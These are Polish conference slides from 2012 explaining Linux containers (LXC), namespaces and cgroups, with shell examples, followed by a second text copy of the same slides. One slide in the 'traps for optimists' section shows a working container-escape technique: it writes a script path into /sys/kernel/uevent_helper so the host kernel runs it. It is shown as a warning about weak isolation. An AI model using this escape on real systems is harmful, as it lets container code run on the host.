LXC – kontener pingwinów
                                            Grzegorz Nosek,
                                                 MegiTeam


Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Wirtualizacja w kilku słowach

„Mam jeden komputer a chcę kilka”

• taniej niż kilka maszyn
• lepsze wykorzystanie sprzętu

• lepsza izolacja niż wszystko w jednym


  systemie



    Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Wirtualizacja w kilku słowach




Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Wirtualizacja w kilku słowach




Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Wirtualizacja w kilku słowach




Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
LXC
LinuX Containers
•   Namespaces – wirtualizacja
•   CGroups – przydzielanie zasobów
•   LXC – narzędzia userspace'owe




     Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Namespaces
●   drzewiasta struktura, osobna dla każdego
    rodzaju namespace'ów
●   każdy proces ma przypisany zestaw
    ●   init_pid_ns, init_net_ns itp.
●   manipulacje wymagają CAP_SYS_ADMIN



     Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Namespaces
●   clone()
    ●   nowy proces, nowe namespace'y
●   unshare() (od 2.6.16)
    ●   ten sam proces, nowe namespace'y
●   setns() (od 3.2)
    ●   ten sam proces, istniejące namespace'y


     Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Namespaces
●   FS namespace (CLONE_NEWNS)
    ●   własne drzewo katalogów
    ●   pam_namespace (np. prywatny /tmp)
    ●   w połączeniu z pivot_root lepszy chroot() niż
        chroot()




    Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Namespaces
●   PID namespace (CLONE_NEWPID)
    ●   własne ID procesów
    ●   własny init (pid=1)
    ●   więcej niż jeden pid na proces
        –   pid w każdym pidns od głównego do obecnego
    ●   strace ich nie lubi



    Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Namespaces
●   user namespace (CLONE_NEWUSER)
    ●   uid1 == uid2?
    ●   capabilities
        –   ptrace, kill, itp.
    ●   VFS




    Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Namespaces
●   net namespace (CLONE_NEWNET)
    ●   własne interfejsy sieciowe
    ●   interfejsy fizyczne
    ●   macvlan
    ●   veth




    Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Namespaces
●   IPC namespace (CLONE_NEWIPC)
    ●   własna pamięć dzielona SYSV


●   UTS namespace (CLONE_NEWUTS)
    ●   własna nazwa hosta




    Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups
●   cgroupfs
    ●   mkdir, rmdir
    ●   echo $$ > .../tasks
        –   w dowolnym momencie




    Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups
●   podsystemy montowane wspólnie lub
    osobno
●   maksymalnie jedna dla każdego
    podsystemu
●   zagnieżdżone grupy dziedziczą ograniczenia
    grup nadrzędnych


     Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups
●   cpuset
    ●   podzbiór CPU dla procesów z danej grupy
    ●   „dedykowany rdzeń dla MySQLa”
●   cpuacct
    ●   rozliczanie czasu CPU




    Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups
●   cpu
    ●   sprawiedliwy przydział czasu procesora
        –   niedawny „magic patch”
    ●   limitowanie czasu procesora
        –   „CFS bandwidth control”
        –   ograniczenie przydzielonego czasu procesora nawet
            jeżeli są wolne zasoby



    Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups




Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups
●   memory
    ●   ograniczenie pamięci fizycznej
    ●   ograniczenie przestrzeni wymiany
    ●   ograniczenie pamięci jądra (w drodze)
    ●   caveat emptor
        –   bardzo wrażliwy obszar jądra
        –   nisko latające OOM killery


    Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups
●   net_cls
    ●   oznacza wychodzący ruch sieciowy klasami tc




     Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups
●   devices
    ●   ogranicza dostęp do poszczególnych urządzeń
        –   osobno odczyt, zapis, mknod




     Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups
●   blkio
    ●   rozliczanie i limitowanie I/O do dysków
    ●   proporcjonalne (max. n% całego I/O)
    ●   stałe (max. n IOPS, max. n bajtów/sek.)
    ●   osobno dla każdego urządzenia




     Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups
●   freezer
    ●   podobny efekt do kill -STOP całej grupy
    ●   jeden z klocków koniecznych do checkpoint-
        restore i migracji na żywo




     Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
CGroups
●   perf_event
    ●   perf: monitorowanie wydajności całego systemu
    ●   ograniczenie do wskazanej grupy
    ●   hic sunt leones




     Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
LXC
●   zestaw narzędzi integrujących namespace'y
    i cgroups
●   szablony dla popularnych dystrybucji
●   odpowiednik vzctl i util-vserver




     Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
LXC
●   lxc-create -n testlxc -t debian
    ●   lxc-debian
    ●   lxc-fedora
    ●   lxc-ubuntu
    ●   (...)
    ●   lxc-busybox
    ●   lxc-sshd

     Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Kolorowe klocki raz jeszcze




Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
LXC
●   lxc-sshd
    ●   /dev, /lib, /bin, /usr, /sbin dzielone z
        gospodarzem
    ●   reszta niewidoczna z poziomu kontenera




     Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
LXC
●   dla LXC wirtualizacja sieci jest opcjonalna,
    pozostałe są obowiązkowe
●   nic nie stoi na przeszkodzie, aby samemu
    poskładać namespace'y




     Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
LXC
●   lxc-unshare
    ●   najbardziej bezpośrednie narzędzie
    ●   tworzy namespace'y i tyle
●   pam_namespace
    ●   tylko FS namespace
●   systemd
    ●   PrivateNetwork=yes
    ●   InaccessibleDirectories itp.

        Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Pułapki na optymistów
●   niekompletna izolacja
    ●   sysfs
    ●   capabilities (SYS_REBOOT)
    ●   LSM (SELinux, Smack)
    ●   quoty
    ●   urządzenia (devpts zamiast /dev/tty*)


     Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Pułapki na optymistów
root@precise1:~# lxc-unshare -s PID /bin/bash
root@precise1:~# echo $$
1
root@precise1:~# readlink /proc/$$/exe




    Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Pułapki na optymistów
root@precise1:~# lxc-unshare -s PID /bin/bash
root@precise1:~# echo $$
1
root@precise1:~# readlink /proc/$$/exe
/sbin/init




    Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Pułapki na optymistów
root@precise1:~# lxc-unshare -s 'PID|MOUNT'
/bin/bash
root@precise1:~# umount /proc && mount /proc
root@precise1:~# readlink /proc/$$/exe
/bin/bash




   Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Pułapki na optymistów
root@precise1:~# mkdir /sys/fs/cgroup/blkio/slow
root@precise1:~# echo $$ > /sys/fs/cgroup/blkio/slow/tasks
root@precise1:~# echo '253:0 1000000' >
/sys/fs/cgroup/blkio/slow/blkio.throttle.write_bps_device
root@precise1:~# dd if=/dev/zero of=zero bs=1M count=500 && rm zero
500+0 records in
500+0 records out
524288000 bytes (524 MB) copied, 6.12093 s, 85.7 MB/s




     Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Pułapki na optymistów
root@precise1:~# dd if=/dev/zero of=zero bs=1M
count=500 oflag=sync && rm zero
500+0 records in
500+0 records out
524288000 bytes (524 MB) copied, 528.348 s, 992 kB/s




    Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Pułapki na optymistów
root@precise1:~# echo '253:0 1000000' >
/sys/fs/cgroup/blkio/blkio.throttle.write_bps_device
root@precise1:~# dd if=/dev/zero of=zero bs=1M
count=500 && rm zero
500+0 records in
500+0 records out
524288000 bytes (524 MB) copied, 377.854 s, 1.4 MB/s




    Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Pułapki na optymistów
# http://blog.bofh.it/debian/id_413
lxc$ cat <<END > /tmp/evil-helper
#!/bin/sh
echo 'hi!' >> /tmp/evil-helper.log
END
lxc$ chmod +x /tmp/evil-helper


lxc# mkdir /sys
lxc# mount -t sysfs sysfs /sys
lxc# echo /var/lib/lxc/test/rootfs/tmp/evil-helper >
/sys/kernel/uevent_helper
lxc# echo change > /sys/class/mem/null/uevent



      Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Pułapki na optymistów
●   http://bit.ly/ytouBe – dyskusja o
    bezpieczeństwie LXC
●   https://wiki.ubuntu.com/LxcSecurity




     Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
Porównanie

      OpenVZ                                Linux-VServer




                           LXC




Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
That's all, folks!



                 Pytania?


Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012

LXC - kontener pingwinów

  • 1.
    LXC – kontenerpingwinów Grzegorz Nosek, MegiTeam Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 2.
    Wirtualizacja w kilkusłowach „Mam jeden komputer a chcę kilka” • taniej niż kilka maszyn • lepsze wykorzystanie sprzętu • lepsza izolacja niż wszystko w jednym systemie Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 3.
    Wirtualizacja w kilkusłowach Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 4.
    Wirtualizacja w kilkusłowach Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 5.
    Wirtualizacja w kilkusłowach Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 6.
    LXC LinuX Containers • Namespaces – wirtualizacja • CGroups – przydzielanie zasobów • LXC – narzędzia userspace'owe Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 7.
    Namespaces ● drzewiasta struktura, osobna dla każdego rodzaju namespace'ów ● każdy proces ma przypisany zestaw ● init_pid_ns, init_net_ns itp. ● manipulacje wymagają CAP_SYS_ADMIN Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 8.
    Namespaces ● clone() ● nowy proces, nowe namespace'y ● unshare() (od 2.6.16) ● ten sam proces, nowe namespace'y ● setns() (od 3.2) ● ten sam proces, istniejące namespace'y Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 9.
    Namespaces ● FS namespace (CLONE_NEWNS) ● własne drzewo katalogów ● pam_namespace (np. prywatny /tmp) ● w połączeniu z pivot_root lepszy chroot() niż chroot() Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 10.
    Namespaces ● PID namespace (CLONE_NEWPID) ● własne ID procesów ● własny init (pid=1) ● więcej niż jeden pid na proces – pid w każdym pidns od głównego do obecnego ● strace ich nie lubi Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 11.
    Namespaces ● user namespace (CLONE_NEWUSER) ● uid1 == uid2? ● capabilities – ptrace, kill, itp. ● VFS Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 12.
    Namespaces ● net namespace (CLONE_NEWNET) ● własne interfejsy sieciowe ● interfejsy fizyczne ● macvlan ● veth Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 13.
    Namespaces ● IPC namespace (CLONE_NEWIPC) ● własna pamięć dzielona SYSV ● UTS namespace (CLONE_NEWUTS) ● własna nazwa hosta Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 14.
    CGroups ● cgroupfs ● mkdir, rmdir ● echo $$ > .../tasks – w dowolnym momencie Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 15.
    CGroups ● podsystemy montowane wspólnie lub osobno ● maksymalnie jedna dla każdego podsystemu ● zagnieżdżone grupy dziedziczą ograniczenia grup nadrzędnych Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 16.
    CGroups ● cpuset ● podzbiór CPU dla procesów z danej grupy ● „dedykowany rdzeń dla MySQLa” ● cpuacct ● rozliczanie czasu CPU Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 17.
    CGroups ● cpu ● sprawiedliwy przydział czasu procesora – niedawny „magic patch” ● limitowanie czasu procesora – „CFS bandwidth control” – ograniczenie przydzielonego czasu procesora nawet jeżeli są wolne zasoby Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 18.
    CGroups Grzegorz Nosek |Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 19.
    CGroups ● memory ● ograniczenie pamięci fizycznej ● ograniczenie przestrzeni wymiany ● ograniczenie pamięci jądra (w drodze) ● caveat emptor – bardzo wrażliwy obszar jądra – nisko latające OOM killery Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 20.
    CGroups ● net_cls ● oznacza wychodzący ruch sieciowy klasami tc Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 21.
    CGroups ● devices ● ogranicza dostęp do poszczególnych urządzeń – osobno odczyt, zapis, mknod Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 22.
    CGroups ● blkio ● rozliczanie i limitowanie I/O do dysków ● proporcjonalne (max. n% całego I/O) ● stałe (max. n IOPS, max. n bajtów/sek.) ● osobno dla każdego urządzenia Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 23.
    CGroups ● freezer ● podobny efekt do kill -STOP całej grupy ● jeden z klocków koniecznych do checkpoint- restore i migracji na żywo Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 24.
    CGroups ● perf_event ● perf: monitorowanie wydajności całego systemu ● ograniczenie do wskazanej grupy ● hic sunt leones Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 25.
    LXC ● zestaw narzędzi integrujących namespace'y i cgroups ● szablony dla popularnych dystrybucji ● odpowiednik vzctl i util-vserver Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 26.
    LXC ● lxc-create -n testlxc -t debian ● lxc-debian ● lxc-fedora ● lxc-ubuntu ● (...) ● lxc-busybox ● lxc-sshd Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 27.
    Kolorowe klocki razjeszcze Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 28.
    LXC ● lxc-sshd ● /dev, /lib, /bin, /usr, /sbin dzielone z gospodarzem ● reszta niewidoczna z poziomu kontenera Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 29.
    LXC ● dla LXC wirtualizacja sieci jest opcjonalna, pozostałe są obowiązkowe ● nic nie stoi na przeszkodzie, aby samemu poskładać namespace'y Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 30.
    LXC ● lxc-unshare ● najbardziej bezpośrednie narzędzie ● tworzy namespace'y i tyle ● pam_namespace ● tylko FS namespace ● systemd ● PrivateNetwork=yes ● InaccessibleDirectories itp. Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 31.
    Pułapki na optymistów ● niekompletna izolacja ● sysfs ● capabilities (SYS_REBOOT) ● LSM (SELinux, Smack) ● quoty ● urządzenia (devpts zamiast /dev/tty*) Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 32.
    Pułapki na optymistów root@precise1:~#lxc-unshare -s PID /bin/bash root@precise1:~# echo $$ 1 root@precise1:~# readlink /proc/$$/exe Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 33.
    Pułapki na optymistów root@precise1:~#lxc-unshare -s PID /bin/bash root@precise1:~# echo $$ 1 root@precise1:~# readlink /proc/$$/exe /sbin/init Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 34.
    Pułapki na optymistów root@precise1:~#lxc-unshare -s 'PID|MOUNT' /bin/bash root@precise1:~# umount /proc && mount /proc root@precise1:~# readlink /proc/$$/exe /bin/bash Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 35.
    Pułapki na optymistów root@precise1:~#mkdir /sys/fs/cgroup/blkio/slow root@precise1:~# echo $$ > /sys/fs/cgroup/blkio/slow/tasks root@precise1:~# echo '253:0 1000000' > /sys/fs/cgroup/blkio/slow/blkio.throttle.write_bps_device root@precise1:~# dd if=/dev/zero of=zero bs=1M count=500 && rm zero 500+0 records in 500+0 records out 524288000 bytes (524 MB) copied, 6.12093 s, 85.7 MB/s Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 36.
    Pułapki na optymistów root@precise1:~#dd if=/dev/zero of=zero bs=1M count=500 oflag=sync && rm zero 500+0 records in 500+0 records out 524288000 bytes (524 MB) copied, 528.348 s, 992 kB/s Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 37.
    Pułapki na optymistów root@precise1:~#echo '253:0 1000000' > /sys/fs/cgroup/blkio/blkio.throttle.write_bps_device root@precise1:~# dd if=/dev/zero of=zero bs=1M count=500 && rm zero 500+0 records in 500+0 records out 524288000 bytes (524 MB) copied, 377.854 s, 1.4 MB/s Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 38.
    Pułapki na optymistów #http://blog.bofh.it/debian/id_413 lxc$ cat <<END > /tmp/evil-helper #!/bin/sh echo 'hi!' >> /tmp/evil-helper.log END lxc$ chmod +x /tmp/evil-helper lxc# mkdir /sys lxc# mount -t sysfs sysfs /sys lxc# echo /var/lib/lxc/test/rootfs/tmp/evil-helper > /sys/kernel/uevent_helper lxc# echo change > /sys/class/mem/null/uevent Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 39.
    Pułapki na optymistów ● http://bit.ly/ytouBe – dyskusja o bezpieczeństwie LXC ● https://wiki.ubuntu.com/LxcSecurity Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 40.
    Porównanie OpenVZ Linux-VServer LXC Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012
  • 41.
    That's all, folks! Pytania? Grzegorz Nosek | Dni Wolnego Oprogramowania, Bielsko-Biała 2012